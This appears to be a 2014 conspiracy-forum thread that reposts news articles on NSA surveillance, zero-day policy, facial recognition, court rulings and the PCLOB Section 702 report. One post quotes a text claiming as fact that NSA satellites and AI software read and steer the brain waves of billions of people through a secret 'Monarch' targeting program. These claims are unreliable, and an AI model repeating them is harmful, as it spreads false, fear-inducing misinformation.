One recommendation urged the N.S.A. to get out of the business of weakening commercial encryption systems or trying to build in “back doors” that would make it far easier for the agency to crack the communications of America’s adversaries. Tempting as it was to create easy ways to break codes — the reason the N.S.A. was established by Harry S. Truman 62 years ago — the committee concluded that the practice would undercut trust in American software and hardware products. In recent months, Silicon Valley companies have urged the United States to abandon such practices, while Germany and Brazil, among other nations, have said they were considering shunning American-made equipment and software. Their motives were hardly pure: Foreign companies see the N.S.A. disclosures as a way to bar American competitors.


Another recommendation urged the government to make only the most limited, temporary use of what hackers call “zero days,” the coding flaws in software like Microsoft Windows that can give an attacker access to a computer — and to any business, government agency or network connected to it. The flaws get their name from the fact that, when identified, the computer user has “zero days” to fix them before hackers can exploit the accidental vulnerability.

The N.S.A. made use of four “zero day” vulnerabilities in its attack on Iran’s nuclear enrichment sites. That operation, code-named “Olympic Games,” managed to damage roughly 1,000 Iranian centrifuges, and by some accounts helped drive the country to the negotiating table.

Not surprisingly, officials at the N.S.A. and at its military partner, the United States Cyber Command, warned that giving up the capability to exploit undisclosed vulnerabilities would amount to “unilateral disarmament” — a phrase taken from the battles over whether and how far to cut America’s nuclear arsenal.

“We don’t eliminate nuclear weapons until the Russians do,” one senior intelligence official said recently. “You are not going to see the Chinese give up on ‘zero days’ just because we do.” Even a senior White House official who was sympathetic to broad reforms after the N.S.A. disclosures said last month, “I can’t imagine the president — any president — entirely giving up a technology that might enable him some day to take a covert action that could avoid a shooting war.”

At the center of that technology are the kinds of hidden gaps in the Internet — almost always created by mistake or oversight — that Heartbleed created. There is no evidence that the N.S.A. had any role in creating Heartbleed, or even that it made use of it. When the White House denied prior knowledge of Heartbleed on Friday afternoon, it appeared to be the first time that the N.S.A. had ever said whether a particular flaw in the Internet was — or was not — in the secret library it keeps at Fort Meade, Md., the headquarters of the agency and Cyber Command.

But documents released by Edward J. Snowden, the former N.S.A. contractor, make it clear that two years before Heartbleed became known, the N.S.A. was looking at ways to accomplish exactly what the flaw did by accident. A program code-named Bullrun, apparently named for the site of two Civil War battles just outside Washington, was part of a decade-long effort to crack or circumvent encryption on the web. The documents do not make clear how well it succeeded, but it may well have been more effective than exploiting Heartbleed would be at enabling access to secret data.

The government has become one of the biggest developers and purchasers of information identifying “zero days,” officials acknowledge. Those flaws are big business — Microsoft pays up to $150,000 to those who find them and bring them to the company to fix — and other countries are gathering them so avidly that something of a modern-day arms race has broken out. Chief among the nations seeking them are China and Russia, though Iran and North Korea are in the market as well.

“Cyber as an offensive weapon will become bigger and bigger,” said Michael DeCesare, who runs the McAfee computer security operations of Intel Corporation. “I don’t think any amount of policy alone will stop them” from doing what they are doing, he said of the Russians, the Chinese and others. “That’s why effective command and control strategies are absolutely imperative on our side.”

The presidential advisory committee did not urge the N.S.A. to get out of the business entirely. But it said that the president should make sure the N.S.A. does not “engineer vulnerabilities” into commercial encryption systems. And it said that if the United States finds a “zero day,” it should patch it, not exploit it, with one exception: Senior officials could “briefly authorize using a zero day for high priority intelligence protection.”





A version of this article appears in print on April 13, 2014, on page A8 of the New York edition with the headline: Obama Lets N.S.A. Exploit Some Internet Flaws, Officials Say. Order Reprints|Today's Paper|Subscribe


http://www.nytimes.com/2014/04/13/us/politics/obama-lets-nsa-exploit-some-internet-flaws-officials-say.html
Title: Re: they know what you are doing
Post by: sky otter on May 17, 2014, 07:43:18 am

grabbing this  from mic's  post here


http://www.thelivingmoon.com/forum/index.php?PHPSESSID=8f67a0e1115dfb861be4408d56688655;topic=6766.0#msg94781



forget the gov watching you.. they have farmed out  everything and these guys
are now in charge 
and sadly this post was over a year ago.. i would say e-mail the  youie to everyone ya know...
then head for your cave


[youtube]
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http://www.youtube.com/watch?v=ulP0QdvexFg

Published on Oct 16, 2012

Abby Martin takes a look at the biggest company you've never heard of, SERCO.

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Title: Re: they know what you are doing
Post by: sky otter on June 02, 2014, 11:40:28 am

be sure to smile real big   :(


NSA scoops up images for facial recognition programs

The US National Security Agency is scooping up large quantities of images of people for use in facial recognition programs, the New York Times reported Sunday, citing top secret documents.

The Times said documents, which were obtained from fugitive former US intelligence analyst Edward Snowden, show a significant increase in reliance on facial recognition technology at the agency over the past four years.

The report said the NSA was using new software to exploit a flood of images included in intercepted emails, text messages, social media posts, video conferences and other communications.

It cited leaked 2011 documents as saying the NSA intercepts "millions of images per day," including 55,000 "facial recognition quality images."

The images represented "tremendous untapped potential," according to the report, which said NSA officials believe advances in technology could revolutionize the way the agency finds intelligence targets.

“It’s not just the traditional communications we’re after: It’s taking a full-arsenal approach that digitally exploits the clues a target leaves behind in their regular activities on the net to compile biographic and biometric information” that can help “implement precision targeting,” a 2010 document quoted by the newspaper said.

The Times said it wasn't clear how many people, including how many Americans, had been caught up in the effort, but noted that neither US privacy laws nor US surveillance laws provide specific protections for facial images.

A NSA spokeswoman said, however, that the agency would be required to get court approval for imagery of Americans it collects through its surveillance programs.

The agency has been at the center of controversy over the scope of its global electronic surveillance program since they were first revealed by Snowden in June 2013.

The former intelligence contractor is in Russia, where he was granted temporary political asylum last year.

http://news.msn.com/us/nsa-scoops-up-images-for-facial-recognition-programs

.....................................................


Report: NSA Collects Millions Of Photos For Facial Recognition Project
   by Eyder Peralta
June 01, 2014 2:53 PM ET Because of the big news about the release of Army Sgt. Bowe Bergdahl, we missed another big story on Saturday that was published by The New York Times: Based on documents leaked by former NSA contractor Edward Snowden, the paper reports the U.S. spy agency is collecting millions of pictures a day from emails, text messages, social media, videoconferences and other sources for a facial-recognition project.
It's important to note that it's not clear whether the bulk collection includes the pictures of Americans and it is also not clear whether a facial-recognition program of this sort is bound by current U.S. law.
The Times reports that the NSA is crosschecking those public images with official databases. One document showed an image with other information like whether the person shown was on the no-fly list. The Times adds:

"The spy agency's reliance on facial recognition technology has grown significantly over the last four years as the agency has turned to new software to exploit the flood of images included in emails, text messages, social media, videoconferences and other communications, the N.S.A. documents reveal. Agency officials believe that technological advances could revolutionize the way that the N.S.A. finds intelligence targets around the world, the documents show. The agency's ambitions for this highly sensitive ability and the scale of its effort have not previously been disclosed.


"The agency intercepts 'millions of images per day' — including about 55,000 'facial recognition quality images' — which translate into 'tremendous untapped potential,' according to 2011 documents obtained from the former agency contractor Edward J. Snowden. While once focused on written and oral communications, the N.S.A. now considers facial images, fingerprints and other identifiers just as important to its mission of tracking suspected terrorists and other intelligence targets, the documents show.


'It's not just the traditional communications we're after: It's taking a full-arsenal approach that digitally exploits the clues a target leaves behind in their regular activities on the net to compile biographic and biometric information' that can help 'implement precision targeting,' noted a 2010 document.

It's a complex program and a New York Times exclusive, so we encourage to click over if you want to know more



http://www.npr.org/blogs/thetwo-way/2014/06/01/317957289/report-nsa-collects-millions-of-photos-for-facial-recognition-project


.........................................................

http://www.bbc.com/news/technology-27663130

2 June 2014 Last updated at 07:31 ET 

.NSA 'collects facial-recognition photos from the the net'





OH NO !! I DIDN'T COMB MY HAIR THIS MORNING


(http://i39.servimg.com/u/f39/13/55/53/83/628x3510.jpg)


bwhahahahahahahahahahahahah....ok i'm good...lol
Title: Re: they know what you are doing
Post by: Somamech on June 02, 2014, 11:50:10 am
This quote below is from the NYT article

Quote
A NSA spokeswoman said, however, that the agency would be required to get court approval for imagery of Americans it collects through its surveillance programs.

Somehow I don't compute the fact I can search whoever I want to search and what the NYT reported the NSA saying as being quite truthful.  Just maybe...MAYBE Porky Pie's are being told ;)

 
Title: Re: they know what you are doing
Post by: Ellirium113 on June 02, 2014, 02:38:25 pm
It is not enough to merely tap into all communications. What if someone might be thinking about terrorism but not actually communicating to anyone about it? No worries...the NSA has an APP for that too...

Quote
Just as Echelon vacuumed up millions of communication signals of phones and faxes, now supercomputers and
satellites sift through the spectrum (10-20 Hz) of 6.5 billion brain waves. The Malech patent device coupled with
PROMIS AI software running on super computers allows the NSA to interpret and interact with the stream of consciousness
of targeted individuals. Computing power is the only hurdle for these high-tech satellites to clear that would allow them to interact with all sentient life forms simultaneously. PROMIS software and artificial intelligence
and “nonlethal” weapon technology are being combined to influence the course of human events in unforeseeable
ways.
Once identified as hostile or a potential threat, a human can be influenced passively, without his or her knowledge.
If that person becomes resistant to that influence or is otherwise deemed a suitable candidate for overt targeting, he
or she is enrolled into the Monarch Hits the Streets (MHS) program, and the beginning of more aggressive and
invasive assaults.
Most targeted individuals enter the program due to one or more of the following factors: family connections to
SRA cults or the intelligence community, political activism, expatriate Americans who “go native,” whistleblowers
within government and industry, prisoners, mental patients, orphans, and scientists with important technology which
can support or threaten the program. Some people are targeted merely out of convenience, simply because private
armies need motivation and training; these victims are chosen merely as target practice. MHS began its inception
during the Reagan administration and has devolved into a sport involving what is believed to be millions of individuals
who are told their particular target is a bad element in our society. The groups are told a lie to which they will
respond in the desired way. For example, a church group may be told that the target is a pedophile, an abortion
doctor, a political radical, a terrorist and a national security threat, or a racist. Whatever story motivates the group
network is the lie that is told.

When the Utah data-collection center is complete I believe they will then have enough computing capability that this interface will then be implemented if it is not already.

http://www.google.ca/url?sa=t&rct=j&q=&esrc=s&source=web&cd=3&cad=rja&uact=8&ved=0CDQQFjAC&url=http%3A%2F%2Fwww.truesoundhealing.com%2FMarshall%2520Thomas%2520-%2520Monarch%2520-%2520The%2520New%2520Phoenix%2520Program%2520-%25202009.pdf&ei=4_iDU9LuFI6cyASBl4LYAQ&usg=AFQjCNHCcvdUejcUdbn7Fbx35J3Rl7uzEA&bvm=bv.67720277,d.aWw (http://www.google.ca/url?sa=t&rct=j&q=&esrc=s&source=web&cd=3&cad=rja&uact=8&ved=0CDQQFjAC&url=http%3A%2F%2Fwww.truesoundhealing.com%2FMarshall%2520Thomas%2520-%2520Monarch%2520-%2520The%2520New%2520Phoenix%2520Program%2520-%25202009.pdf&ei=4_iDU9LuFI6cyASBl4LYAQ&usg=AFQjCNHCcvdUejcUdbn7Fbx35J3Rl7uzEA&bvm=bv.67720277,d.aWw)

Roll that all into a black suit and call it DARTH VADER!!  :P
Title: Re: they know what you are doing
Post by: Amaterasu on June 04, 2014, 10:22:44 am
The question becomes...  A threat to WHOM?  Who decides what is "threat?"
Title: Re: they know what you are doing
Post by: Ellirium113 on June 04, 2014, 10:30:28 am
The question becomes...  A threat to WHOM?  Who decides what is "threat?"

Not to "WHOM"...to "WHAT". This system is not to protect any individual but to protect a sytem of control and compliance. There is no way the "NWO" agenda can proceed by any amount of force. People basically have to be assimilated into the program or be expunged from it. Whether this happens on your own free will or not is irrelevent.
Title: Re: they know what you are doing
Post by: Amaterasu on June 04, 2014, 10:41:59 am
While You are partially correct, it is not "the system" itself that is identifying threats, it is Beings.  Even if "the system" is identifying Individuals as "threat," other Individuals gave "the system" its definition of "threat."  And it is THEY who are threatened, not "the system."
Title: Re: they know what you are doing
Post by: sky otter on June 20, 2014, 07:17:27 am


ok this goes into the believe it or don't category...sigh




http://www.huffingtonpost.com/2014/06/19/house-nsa_n_5513642.html


   House Passes Landmark Amendment To Stop Warrantless NSA Searches

Posted: 06/19/2014 11:53 pm EDT Updated: 1 hour ago Matt Sledge Become a fan
msledge@huffingtonpost.com


The House overwhelmingly approved an amendment Thursday meant to block the National Security Agency from performing warrantless searches on Americans' communications, rejecting one of the most controversial forms of NSA surveillance revealed by the leaks of Edward Snowden.

The 293-123 vote on an amendment to the annual defense appropriations bill was a victory for civil libertarians on the heels of a gutted NSA reform measure the House approved in May. The amendment still faces an uncertain journey through Congress before it can become law.

"I think people are waking up to what's been going on," said the amendment's sponsor, Rep. Thomas Massie (R-Ky.). "Whether you're Republican or Democrat -- because, if you noticed, a majority of Republicans voted for this, as well as a majority of Democrats."

The NSA performs so-called back door searches on the content of Americans' communications without a warrant when they have been in contact with targeted foreigners. Given the vastness of the NSA's target database, and the irrelevance of international boundaries in the Internet age, privacy advocates say they worry an expanding number of Americans' emails and phone calls are being swept up. The House amendment specifically prohibits the NSA from using information identifying U.S. citizens to search communications data it collects under the Foreign Intelligence Surveillance Act.

NSA critics had warned about such searches for years. But the leaks of former NSA contractor Snowden, as reported in The Guardian, definitively revealed the spy agency's tactics. The NSA claims legal authority to perform the searches.

The amendment was sponsored by Massie, along with Rep. Zoe Lofgren (D-Calif.) and a host of co-sponsors of the earlier attempt at NSA reform, called the USA Freedom Act. The original co-sponsors of that bill included Rep. James Sensenbrenner (R-Wis.), Rep. John Conyers (D-Mich.), Rep. Jerrold Nadler (D-N.Y.) and Rep. Justin Amash (R-Mich.).

Supporters of that measure had surrendered to the Obama administration in dropping the prohibition on back door searches. But the defense appropriations bill gave them another chance.

"After the passage of the USA Freedom Act, this amendment is the logical next step to prevent improper surveillance," Nadler said in a statement before Thursday's vote. "I will continue to work to improve our nation’s privacy laws and to ensure that this Administration, and all those that follow it, respect the constitutional rights of all Americans."

The amendment also aims to block the NSA and CIA from forcing software and hardware providers to insert back doors into their products to allow the government agencies easy access to customer communications. The measure's backers include the American Civil Liberties Union and Google.

Massie pronounced himself "pleasantly surprised" with his amendment's passage. But he acknowledged it still faces a long road to passage.

"That's going to be the trick," Massie said. "It would take somebody to support it on the Senate side as well, and in conference," where the House and Senate reconcile companion bills.

Massie said he faced hurdles from House leaders -- particularly those in charge of the House Intelligence and Judiciary committees -- in winning approval for the amendment. "The leadership was not in favor of it," he said. "The whip's description of the bill, which you could pick up in the cloakroom, was very unflattering and misleading in my opinion.

"It was an amazing struggle to get it ruled in order," he said, referring to parliamentary rules around appropriations bills. He noted that a similar provision was stripped out of the "watered down" USA Freedom Act that passed last month.

But in the end, Massie said, co-sponsors from both parties were critical in getting the amendment approved.

The House passage of the amendment may create momentum for similar reform efforts in the Senate, where Oregon Democrat Ron Wyden has been fighting for years to expose and end the practice of back door searches.

Wyden warned in a recent Los Angeles Times opinion piece with Sens. Mark Udall (D-Colo.) and Rand Paul (R-Ky.) that "intelligence agencies are using a loophole in the law to read some Americans' emails without ever getting a warrant."

The senators wrote that the debate over NSA reforms "is likely to continue for at least the next few years as Americans continue to learn about the scale of ongoing government surveillance activities."

This article has been updated to include Massie's comments. This article has also been updated to reflect Lofgren is a Democrat, not a Republican.
Title: Re: they know what you are doing
Post by: Ellirium113 on June 23, 2014, 06:22:12 pm
The NSA's mass surveillance program for phone call metadata is still going

Quote
Despite last night's vote by the House of Representatives and various plans for reform, the NSA is still peeking into places many think it shouldn't. The Office of the Director of National Intelligence just revealed that yesterday, the program that scoops up bulk metadata on phone calls has been renewed again. In February, the Foreign Intelligence Surveillance Court approved some new limits on the program forcing the NSA to request court approval to pull records, and limiting it to info for people within two degrees of a target. Those restrictions are still in place, and this latest 90-day renewal extends the program until September 12th. For now, the changes proposed by President Obama are currently tied to the "gutted" USA Freedom Act that's being considered by the Senate.

http://www.engadget.com/2014/06/20/nsa-call-metadata-program-renewed/ (http://www.engadget.com/2014/06/20/nsa-call-metadata-program-renewed/)
Title: Re: they know what you are doing
Post by: sky otter on June 26, 2014, 10:15:05 am


yeah Ellirium113,
that's why i said believe it or don't...here's another believe it or don't..
guess you can tell how skeptical i am  :(


U.S. Supreme Court's milestone ruling protects cellphone privacy

by Lawrence Hurley

WASHINGTON Wed Jun 25, 2014 3:22pm EDT


(Reuters) - The U.S. Supreme Court on Wednesday ruled that police officers usually need a warrant before they can search the cellphone of an arrested suspect, a major decision in favor of privacy rights at a time of increasing concern over government encroachment in digital communications.

In an opinion written by Chief Justice John Roberts, the court said there are some emergency situations in which a warrantless search would be permitted. But the unanimous 9-0 ruling goes against law enforcement agencies including the U.S. Department of Justice, which wanted more latitude to search without having to obtain a warrant.

"We cannot deny that our decision today will have an impact on the ability of law enforcement to combat crime," Roberts wrote, adding that the right to privacy "comes at a cost."

Roberts acknowledged the unique nature of cellphones in contemporary life, noting that "the proverbial visitor from Mars might conclude they were an important feature of human anatomy."

"The fact that technology now allows an individual to carry such information in his hand does not make the information any less worthy of the protection for which the (country's) Founders fought. Our answer to the question of what police must do before searching a cellphone seized incident to an arrest is accordingly simple - get a warrant," Roberts wrote.

The ruling could have a major impact in some jurisdictions because law enforcement agencies have increasingly made cellphones searches a top priority when a suspect is arrested, said Bronson James, a criminal defense attorney in Portland, Oregon.

"Police wanted the data on the cellphones because it was so expansive," he said. "This stops that practice."

The implications may be limited by the fact that police can benefit from new technology: it is now possible to obtain a warrant more quickly using mobile devices to send the request.

The ruling could hamper law enforcement when there is a need to gather information from a cellphone immediately because of an ongoing criminal enterprise, said Robert Mintz, a former federal prosecutor. "There could be circumstances when news of an arrest can travel quickly and time could be of the essence," he said.

Justice Department spokeswoman Ellen Canale said the government would ensure federal law enforcement agents complied with the ruling.

The court was considering two separate cases pitting evolving expectations of privacy against the interests of the law enforcement community as the justices for the first time weighed the ubiquitous role of cellphones in modern life.

A Reuters/Ipsos opinion poll found 60.7 percent of people surveyed said police should not be allowed to search cellphones without a warrant.

Cellphones, initially used purely to make calls, now contain a wealth of personal information about the owner including photographs, video and social media content. A 2013 Pew Research Center report said 91 percent of adult Americans have a cellphone, more than a half of them smartphones that can connect to the Internet.

Concern about increasing government encroachment on personal privacy, especially relating to electronic communications, has surged in the past year after disclosures by former National Security Agency contractor Edward Snowden about government surveillance.

Hanni Fakhoury, an attorney at the Electronic Frontier Foundation digital rights group, said the court's recognition of the impact of new technology on privacy "will have important implications for future legal challenges concerning the government’s use of
technology," including NSA surveillance.

The defendants challenging their convictions, David Riley and Brima Wurie, said evidence found on their phones should not have been used at trial because the searches were conducted without court-issued warrants.

The circumstances in the two cases, one from Massachusetts and one from California, were different in terms of the scope of the search and the type of cellphone used. Wurie had a basic flip phone while Riley had a more sophisticated smartphone.

The court decided the two cases together, finding that both searches were unconstitutional.

The legal question was whether the U.S. Constitution's Fourth Amendment, barring unreasonable searches, requires police following an arrest to get court approval before a cellphone can be searched.

Riley was convicted of three charges relating to a 2009 San Diego incident in which shots were fired at an occupied vehicle. Prosecutors linked him to the crime in part based on a photograph police found on his smartphone.

Police searched Wurie's cellphone without a warrant after his 2007 arrest for suspected drug dealing. Officers used the device, which was not a smartphone, to find a phone number that took them to Wurie's house in Boston, where drugs, a gun and cash were found.

The cases are Riley v. California, 13-132 and U.S. v. Wurie, 13-212.


(Reporting by Lawrence Hurley; Editing by Howard Goller and Grant McCool)

http://www.reuters.com/article/2014/06/25/us-usa-court-mobilephone-idUSKBN0F01R320140625
Title: Re: they know what you are doing
Post by: sky otter on June 30, 2014, 02:18:52 pm


ah they were only doing research....right?... gotta know how to sell their worth to others who would like to sway you.....i can't imagine who that would be...



http://www.today.com/tech/users-angered-facebook-emotion-manipulation-study-1D79863049

 
Users angered at Facebook emotion-manipulation study
Matt Murray TODAY 9 hours ago

News that Facebook manipulated users' news feeds to see if it made them feel blue now has some users seeing red.

Facebook is seeing backlash after participating in a study that involved the social media giant manipulating content seen by more than 600,000 users for a psychology experiment.

WATCH: Facebook admits to manipulating news feeds

In January 2012, Facebook tweaked news feeds to show statuses that were particularly positive or negative and found that the emotions of others can affect your mood. The findings were published in the Proceedings of the National Academy of Sciences in an article called "Experimental evidence of massive-scale emotional contagion through social networks."

 Video: The social network apologized for an experiment it conducted two years ago, involving correlation between the stories users read and their moods.

.Researchers did not inform users that the manipulation of the news feeds would be taking place, however, Facebook's action is legal due to terms laid out in the user agreement when a person signs up for the site.

Adam Kramer, one of the authors of the study, has since taken to his personal Facebook page to apologize for the way the research was described in the paper:

"I can understand why some people have concerns about it, and my coauthors and I are very sorry for the way the paper described the research and any anxiety it caused. In hindsight, the research benefits of the paper may not have justified all of this anxiety."

What do you think of Facebook controlling users' timelines for a study like this? Weigh in in our poll below and tweet us using #OrangeRoom


Should Facebook be able to control your news feed?
111947 votes

Yes
No

Thank you for voting

View results
10%
10,884 votes
Yes

90%
101,221 votes
No

.
Title: Re: they know what you are doing
Post by: Amaterasu on July 01, 2014, 08:34:44 pm
I have to wonder if 10% of the responders to the survey were bots...
Title: Re: they know what you are doing
Post by: ArMaP on July 02, 2014, 01:21:53 am
I have to wonder if 10% of the responders to the survey were bots...
Probably just lazy people that like to be spoon fed. :)
Title: Re: they know what you are doing
Post by: sky otter on July 02, 2014, 06:00:45 pm

figures.. :(




Review Board: NSA Surveillance Program Barely Toes Constitutional Line



By Mike Brunker
WASHINGTON, D.C. -- An NSA program that collects electronic information on Americans and U.S. residents is a valuable and effective anti-terrorism tool -- but also goes “right up to the line” as far as its constitutionality,” an independent review panel said Wednesday.

The Privacy and Civil Liberties Oversight Board issued a 190-page report focused specifically on information gathered under what is known as Section 702 of the Foreign Intelligence Surveillance Act (FISA), and made recommendations primarily aimed at increasing transparency. But it did not urge any significant changes aimed at reining in the program.

Section 702 enables U.S. intelligence officials to collect the telephone calls, emails and other electronic communications of “U.S. persons” -- both citizens and lawful permanent residents -– if those persons are communicating with a foreign target. The content of those communications is shared, under certain limited circumstances, with the FBI and CIA.

video here entitled:  Myths of NSA Surveillance Program Debunked


Details of how the NSA operates the Section 702 program, along with other U.S. intelligence operations, were revealed in June 2013 through the leaking of classified documents by former NSA contractor Edward Snowden.

The board, which conducted the review at the request of members of Congress and President Barack Obama following the disclosures, said the Section 702 program operates within constitutional and legal boundaries.

Sign up for breaking news alerts from NBC News

“Operation of the Section 702 program has been subject to judicial oversight and extensive internal supervision, and the board has found no evidence of intentional abuse,” it said.

But board Chairman David Medine said after a meeting Wednesday to formally adopt the report that the program walks a fine legal line.

“Did Congress authorize this program? We think yes,” he said. “… This is legislation that was publicly debated. Some people would have liked it to be more restrictive; they didn't necessarily succeed.

“The separate question is: Is this constitutional? And that's where the board unanimously said, 'There's some questions. We're right up to the line.'”

The report itself found that the program “raises important but difficult legal and policy questions.” Among them, it said, “the scope of the incidental collection of U.S. persons’ communications and the use of queries to search the information collected under the program for the communications of specific U.S. persons.”

another video entitled:     A Day in the Life of Data


The five-member board made 10 recommendations for revising the program, including requiring the NSA to annually report the number of electronic communications it acquires involving U.S. persons to Congress and to the public, “to the extent consistent with national security.”

Director of National Intelligence James Clapper said in a statement that his office would carefully consider the proposals.

"We take very seriously the board’s concerns regarding privacy and civil liberties, and we will review the board’s recommendations with care," he said.

The Foreign Intelligence Surveillance Act (FISA) is the principal federal law regulating the collection of signals intelligence – or electronic surveillance -- by the U.S. intelligence community on U.S. persons. Section 702 specifically authorizes the targeting of foreigners living abroad, but also addresses the collection of communications of U.S. persons – either those who are in contact with a foreign target or those whose information is inadvertently swept up during data collection. The latter communications are generally required to be destroyed.

The most basic requirement of FISA is that the intelligence community must have an order from the Foreign Intelligence Surveillance Court (FISC) to target any U.S. person anywhere in the world for electronic surveillance.

The law was initially passed in 1978 as part of the response to abuses by the FBI and other agencies, and has been repeatedly updated to address changes in communications technology, including development of the Internet. Section 702 was added in 2008.

Related

Court Approves NSA Gathering of Phone Metadata for Three More Months

Edward Snowden's Motive Revealed: He Can 'Sleep at Night'

Edward Snowden: a Timeline

The Office of the Director of National Intelligence last week for the first time provided a breakdown of its use of Section 702 to collect the communications of U.S. persons, indicating that the NSA and CIA “queried” the data gathered through the program approximately 11,600 times last year.

That number doesn’t include the FBI, which doesn’t track “queries” it makes to the data, according to the ODNI’s response to a request from Sen. Ron Wyden, D-Ore.

In January, the board published a much more critical evaluation of the NSA’s collection of telephone records or metadata on most Americans under Section 215 of the Patriot Act – the extent of which also was revealed by Snowden’s leaks -- determining that the law “does not provide an adequate legal basis to support the program.”

Follow NBC News Investigations on Twitter and Facebook

U.S. Appeals Court Judge Patricia M. Wald, a member of the privacy and civil liberties board, said Snowden’s leaks provided impetus for independent review of U.S. intelligence programs in light of recent technological advances.

“We were there without a chief and with no staff for seven or eight months,” she said, referring to the board’s status before the Snowden leaks. “I certainly think the Snowden revelations expedited the review of these two (programs). There's no question about that.”

Abigail Williams of NBC News contributed to this report.

First published July 2 2014, 2:17 PM

http://www.nbcnews.com/storyline/nsa-snooping/review-board-nsa-surveillance-program-barely-toes-constitutional-line-n146881



......................................................




NSA reformers dismayed after privacy board vindicates surveillance dragnet

Privacy and Civil Liberties Oversight Board endorses agency's so-called '702' powers, plus backdoor searches of Americans' information
Spencer Ackerman in Washington
theguardian.com, Wednesday 2 July 2014 14.47 EDT

Civil libertarians saw their hopes for curtailing the National Security Agency's massive digital surveillance program dimmed in the wake of a report from a US government privacy board vindicating much of the international communications dragnet.


The Privacy and Civil Liberties Oversight Board (PCLOB) voted Wednesday to adopt a 200-page report on the NSA's so-called "702" powers, which include the widespread collection of foreign email, voice and text messages and Americans' international calls.


While PCLOB chairman David Medine said those efforts walked "right up to the line of constitutionality," the report largely vindicated the controversial surveillance, the scope of which was disclosed through reporting on documents provided by Edward Snowden, as both effective and legal.


Elisebeth Collins Cook, one of five board members and a Justice Department official in the Bush administration, hailed the digital surveillance as "legal, valuable and subject to intense oversight," and characterized the PCLOB's recommendations as "relatively slight changes at the margins of the program."


In ways both bold and subtle, the long-awaited report blessed the NSA's large-scale collection of digital data, even as it found elements of it problematic.


The PCLOB denied that the 702 siphoning is bulk collection, even though it annually provides the NSA with "hundreds of millions" of different sorts of communications -- blessing an NSA definition that considers only indiscriminate collection, untethered to surveillance targets, to be bulk.


"It's a big program, but it is a targeted program," Medine said after the sparsely-attended Wednesday hearing, which was held in the basement of a Marriott between Congress and the White House.


Civil libertarians castigated the PCLOB over what they consider a counterintuitive definition.


"They say if we're collecting everything from Egypt that's not bulk, everything from [area code] 202 that's not bulk, everything from gmail.com that's not bulk, and that's just bullpoop," said Jennifer Granick of the Stanford Law School's Center for Internet and Society.


Dealing another blow to privacy advocates, the board endorsed the NSA, CIA and FBI's warrantless, so-called "backdoor" searches for information from Americans, just weeks after the House of Representatives voted to ban them. While Medine and another board member, former federal judge Patricia Wald, wanted to add greater legal protections, the board advocated restricting the FBI's warrantless searches and urged NSA and CIA analysts to certify that their queries are "reasonably likely to return foreign intelligence information."


"We have seen no evidence of a backdoor, so our recommendations are designed to make sure one is not built," Cook said.


Perhaps most controversially, the PCLOB gave a qualified endorsement to the NSA's practice of siphoning directly from the Internet information that merely references a surveillance target even if the correspondence is neither from nor sent to that target, a practice known as "about" collection.


The PCLOB acknowledged that "about" collection would mean the inevitable collection of purely domestic communications that the NSA is expressly not permitted to acquire, a circumstance intelligence officials called technologically unavoidable after they were compelled to disclose significant overcollection last summer. It urged the NSA to "continually" revisit technological feasibility and the scope of its targeting in order to minimize the intrusion into US privacy. It was far less concerned about non-US privacy considerations.


"About" collection played at most a background role in what now appears to be an epochal 2007-8 debate in Congress to bless what had previously been a surveillance program almost entirely operated by executive prerogative. The PCLOB nevertheless found that the resulting law, the 2008 Fisa Amendments Act, and its critical Section 702 provision, authorized such collection, something Medine said was a "permissible" interpretation by NSA.


All that amounted to a bitter pill for privacy advocates to swallow, particularly coming from a government body that in January had condemned the NSA's bulk surveillance of US phone data.


The PCLOB may have interrupted recent momentum in Congress towards preventing the US government from conducting backdoor searches.


Stanford's Granick held out hope that the PCLOB's assessment would inadvertently bolster the chances for a backdoor-search ban in Congress. The report's perceived moderation could aid legislators in curbing the searches on the argument that they would restore public confidence in US surveillance.


"But for the longer term goal of reining in warrantless, massive collection of communications and for getting countries to protect their communications of all people and not just their own citizens, this doesn't help us at all," Granick said.


The American Library Association similarly declared the PCLOB report a "serious disappointment" and said it should be "an absolute floor for 702 reform and a spur to immediate and broad legislative expansion."


Jameel Jaffer of the ACLU, who testified to the PCLOB in March, called the report "weak."


"It fails to fully grasp the significance of allowing the government to conduct surveillance on this massive scale, of allowing it to store millions of Americans' communications in government databases, and of allowing it to search those databases without any of the safeguards the Constitution has historically been held to require," Jaffer said in a Wednesday statement.


The Center for Constitutional Rights called the PCLOB's treatment of the constitutional implications at stake "disappointingly superficial."


"The board includes no mention whatsoever of free speech, due process, and right to counsel when analyzing the legality of the NSA’s collection of the content of communications between U.S. residents and persons of interest abroad," it said in a statement.


Meanwhile, the leader of the US intelligence community acknowledged his victory.


"In this important report, the PCLOB confirms that Section 702 has shown its value in preventing acts of terrorism at home and abroad, and pursuing other foreign intelligence goals," Director of National Intelligence James Clapper said in a Wednesday statement, adding that he would take the board's privacy concerns "very seriously."


The PCLOB is not done reviewing the NSA's surveillance authorities and their implementation.


When the board next meets, on July 23, it will consider launching a new inquiry into one of the seminal texts behind US intelligence authorities, an executive order known as 12333. The NSA relies upon that obscure document for, among other things, its surreptitious collection of unencrypted information transiting from Google and Yahoo data centers. After the hearing adjourned Wednesday, Medine, Cook and Wald all indicated their appetite for reviewing 12333.

http://www.theguardian.com/world/2014/jul/02/nsa-surveillance-government-privacy-board-report





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 Matt Sledge Become a fan
msledge@huffingtonpost.com
 
    Government Privacy Board Says Controversial NSA Surveillance Program Is Constitutional
Posted: 07/02/2014 12:00 am EDT Updated: 07/02/2014 10:59 am EDT


A government privacy oversight board's draft report, released Tuesday night, finds the National Security Agency's use of a controversial surveillance authority is constitutional, but says some aspects of it edge up to violating the Fourth Amendment's prohibition against unreasonable searches or seizures.

The report from the Privacy and Civil Liberties Oversight Board, an independent agency within the federal government's executive branch, centers on programs revealed by former NSA contractor Edward Snowden that the NSA uses to pick up communications of foreigners that may also involve a U.S. citizen. The programs rely for legal authority on a law passed in 2008 to bring former President George W. Bush's warrantless wiretapping program under judicial oversight.

Critics charge that the NSA, in collecting the foreign targets' communications under its PRISM and upstream collection programs, incidentally picks up far too many Americans' emails and phone calls. Sen. Ron Wyden (D-Ore.) has raised alarm about what happens with Americans' communications once they're collected, because the NSA believes it can search through them without a warrant.

The privacy board's harsh January report on the NSA's separate domestic telephone metadata collection program provided ammunition for critics looking to end it. But in its new report, the privacy board largely accepts the government's assurances that NSA surveillance under the 2008 Foreign Intelligence Surveillance Act is well-grounded. The board is set to vote on whether to finalize the draft report on Wednesday.

